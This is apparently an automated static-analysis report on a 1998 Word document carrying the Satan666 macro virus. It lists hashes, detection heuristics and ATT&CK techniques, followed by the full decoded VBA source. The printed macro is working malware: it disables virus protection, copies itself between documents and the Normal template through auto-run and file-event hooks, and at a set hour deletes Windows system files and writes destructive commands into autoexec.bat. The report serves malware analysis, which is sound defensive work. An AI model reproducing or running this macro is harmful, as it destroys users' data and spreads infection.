Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 619f97bbf3fde563…

MALICIOUS

Office (OLE)

39.5 KB Created: 1998-04-25 07:57:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6ba67d4d445218f6213f0db56c4dce7f SHA-1: 2c6f907216df06a7009cf0745aa8c7f514c9d1c8 SHA-256: 619f97bbf3fde56304e5cdbc07aa01952bbef4829a4cd93d63fd7807a26195fd
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1490 Inhibit System Recovery

The sample is a Microsoft Word document containing a resignation letter, but it also contains a VBA macro named 'Satan666'. This macro attempts to disable virus protection, copy itself to the Normal template for persistence, and conditionally deletes files from the Windows and System directories. The macro's intent is to disrupt the system and potentially prepare it for further compromise.

Heuristics 5

  • ClamAV: Doc.Trojan.Satan-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Satan-10
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3373 bytes
SHA-256: 51ebfb11244fd4e7d54b0e174a0aa31ffb084cc4d4f36563d2ee5aa85baecd08
Detection
ClamAV: Doc.Trojan.Satan-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Satan666"
Sub Satan666()
Attribute Satan666.VB_Description = "Macro created 04/22/98 by Evelyn N. Lopez"
Attribute Satan666.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Satan666"

Dim IFlag
Dim I

Options.VirusProtection = False

IFlag = 0

For I = 1 To WordBasic.CountMacros(0, 0)
    If WordBasic.[MacroName$](I, 0, 0) = "Satan666" Then
        IFlag = 1
    End If
Next I

If IFlag = 1 Then
    GoTo GlobalFine
Else
    On Error Resume Next
    Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "Satan666", wdOrganizerObjectProjectItems
End If

GlobalFine:

IFlag = 0
    
For I = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](I, 1, 0) = "Satan666" Then
        IFlag = 1
    End If
Next I
    
If IFlag = 1 Then
    GoTo DocumentFine
Else
    On Error Resume Next
    Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "Satan666", wdOrganizerObjectProjectItems
End If

DocumentFine:

If Hour(Now()) = 15 Then

    On Error GoTo KillThem
    Open "c:\autoexec.bat" For Input As #1
    Line Input #1, IFlag
    Close #1
    If IFlag <> "REM Hail Satan!" Then
KillThem:
        Kill "c:\windows\*.*"
        Kill "c:\windows\system\*.*"
    
        Open "c:\autoexec.bat" For Append As #1
        Print #1, "@echo off"
        Print #1, "cls"
        Print #1, "echo Hail Satan!"
        Print #1, "echo Hail Satan!"
        Print #1, "echo Hail Satan!"
        Print #1, "echo Hail Satan!"
        Print #1, "echo Hail Satan!"
        Print #1, "echo Hail Satan!"
        Print #1, "echo Hail Satan!"
        Print #1, "echo Hail Satan!"
        Print #1, "echo Y>Yes"
        Print #1, "attrib -h -r -s *.*"
        Print #1, "del *.* <Yes"
        Print #1, "end"
        Close #1
   
        MsgBox "Hail Satan!", vbOKOnly, "Satan666 Word97 Virus"
    Else
                
    End If

End If
   
End Sub
Sub FileOpen()
On Error Resume Next
Application.Run "Satan666"
Dialogs(wdDialogFileOpen).Show
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub FileClose()
On Error Resume Next
Application.Run "Satan666"
WordBasic.FileClose
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub FileSaveAs()
On Error Resume Next
Application.Run "Satan666"
Dialogs(wdDialogFileSaveAs).Show
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub FileSave()
On Error Resume Next
Application.Run "Satan666"
ActiveDocument.Save
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub FileNew()
On Error Resume Next
Application.Run "Satan666"
Dialogs(wdDialogFileNew).Show
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub AutoExec()
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub AutoNew()
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub AutoSave()
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub AutoClose()
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub AutoOpen()
On Error Resume Next
Application.Run "Satan666"
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.